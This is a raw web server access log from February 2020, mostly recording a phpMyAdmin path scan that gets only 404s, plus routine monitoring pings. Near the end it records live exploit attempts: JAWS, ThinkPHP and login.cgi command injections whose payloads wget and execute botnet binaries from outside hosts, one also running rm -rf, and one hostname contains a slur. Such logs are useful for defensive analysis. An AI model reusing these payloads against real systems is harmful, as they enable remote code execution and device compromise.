78.134.17.3 - - [08/Feb/2020:08:18:00 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:00 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:00 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:00 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:00 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:00 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:01 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:01 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:01 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:01 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:01 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:02 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:02 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:02 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:02 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:03 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:03 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:03 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:03 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:03 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:04 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:04 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:04 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:04 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:04 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:04 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:05 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:05 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:05 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:05 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:06 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:07 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:07 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:07 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:07 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:08 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:08 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:08 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:08 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:09 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:09 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:10 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:10 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:10 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:10 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:10 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:10 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:12 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:12 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:12 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:12 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:12 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:12 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:13 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:14 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:16 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:16 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:16 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:16 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:16 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:16 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:17 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:17 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:17 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:17 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:18 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:18:20 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:08:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.249.116.8 - - [08/Feb/2020:08:20:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.233.155.227 - - [08/Feb/2020:08:21:06 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
31.162.192.175 - - [08/Feb/2020:08:21:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.116.93.35 - - [08/Feb/2020:08:21:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [08/Feb/2020:08:21:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [08/Feb/2020:08:21:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:08:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [08/Feb/2020:08:21:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [08/Feb/2020:08:22:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:08:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.190.209 - - [08/Feb/2020:08:27:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
